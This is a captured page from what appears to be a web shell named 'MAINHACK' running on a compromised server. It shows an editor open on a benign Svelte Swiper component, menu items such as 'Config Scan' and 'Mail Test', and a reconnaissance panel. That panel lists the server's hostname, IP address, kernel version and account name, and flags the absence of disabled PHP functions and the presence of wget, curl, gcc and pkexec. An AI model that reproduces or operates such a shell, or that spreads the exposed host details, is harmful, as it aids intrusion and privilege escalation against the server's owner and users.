[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: swiper.svelte
<script> import { onMount, onDestroy, afterUpdate, createEventDispatcher, tick, setContext } from 'svelte'; import Swiper from 'swiper'; import { getParams } from '../components-shared/get-params.js'; import { mountSwiper } from '../components-shared/mount-swiper.js'; import { needsScrollbar, needsNavigation, needsPagination, uniqueClasses, extend, } from '../components-shared/utils.js'; import { getChangedParams } from '../components-shared/get-changed-params.js'; import { updateSwiper } from '../components-shared/update-swiper.js'; const dispatch = createEventDispatcher(); let className = undefined; export { className as class }; let containerClasses = 'swiper'; let breakpointChanged = false; let swiperInstance = null; let oldPassedParams = null; let paramsData; let swiperParams; let passedParams; let restProps; let swiperEl = null; let prevEl = null; let nextEl = null; let scrollbarEl = null; let paginationEl = null; let virtualData = { slides: [] }; export function swiper() { return swiperInstance; } const setVirtualData = (data) => { virtualData = data; tick().then(() => { swiperInstance.$wrapperEl.children('.swiper-slide').each((el) => { if (el.onSwiper) el.onSwiper(swiperInstance); }); swiperInstance.updateSlides(); swiperInstance.updateProgress(); swiperInstance.updateSlidesClasses(); if (swiperInstance.lazy && swiperInstance.params.lazy.enabled) { swiperInstance.lazy.load(); } }); }; const calcParams = () => { paramsData = getParams($$restProps); swiperParams = paramsData.params; passedParams = paramsData.passedParams; restProps = paramsData.rest; }; calcParams(); oldPassedParams = passedParams; const onBeforeBreakpoint = () => { breakpointChanged = true; }; swiperParams.onAny = (event, ...args) => { dispatch(event, args); }; Object.assign(swiperParams.on, { _beforeBreakpoint: onBeforeBreakpoint, _containerClasses(_swiper, classes) { containerClasses = classes; }, }); swiperInstance = new Swiper(swiperParams); setContext('swiper', swiperInstance); if (swiperInstance.virtual && swiperInstance.params.virtual.enabled) { const extendWith = { cache: false, renderExternal: (data) => { setVirtualData(data); if (swiperParams.virtual && swiperParams.virtual.renderExternal) { swiperParams.virtual.renderExternal(data); } }, renderExternalUpdate: false, }; extend(swiperInstance.params.virtual, extendWith); extend(swiperInstance.originalParams.virtual, extendWith); } onMount(() => { if (!swiperEl) return; mountSwiper( { el: swiperEl, nextEl: nextEl, prevEl: prevEl, paginationEl: paginationEl, scrollbarEl: scrollbarEl, swiper: swiperInstance, }, swiperParams, ); dispatch('swiper', [swiperInstance]); if (swiperParams.virtual) return; swiperInstance.slides.each((el) => { if (el.onSwiper) el.onSwiper(swiperInstance); }); }); afterUpdate(() => { if (!swiperInstance) return; calcParams(); const changedParams = getChangedParams(passedParams, oldPassedParams); if ( (changedParams.length || breakpointChanged) && swiperInstance && !swiperInstance.destroyed ) { updateSwiper({ swiper: swiperInstance, passedParams, changedParams, nextEl, prevEl, scrollbarEl, paginationEl, }); } breakpointChanged = false; oldPassedParams = passedParams; }); onDestroy(() => { // eslint-disable-next-line if (typeof window !== 'undefined' && swiperInstance && !swiperInstance.destroyed) { swiperInstance.destroy(true, false); } }); </script> <div bind:this={swiperEl} class={uniqueClasses(`${containerClasses}${className ? ` ${className}` : ''}`)} {...restProps} > <slot name="container-start" /> <div class="swiper-wrapper"> <slot name="wrapper-start" /> <slot {virtualData} /> <slot name="wrapper-end" /> </div> {#if needsNavigation(swiperParams)} <div bind:this={prevEl} class="swiper-button-prev" /> <div bind:this={nextEl} class="swiper-button-next" /> {/if} {#if needsScrollbar(swiperParams)} <div bind:this={scrollbarEl} class="swiper-scrollbar" /> {/if} {#if needsPagination(swiperParams)} <div bind:this={paginationEl} class="swiper-pagination" /> {/if} <slot name="container-end" /> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002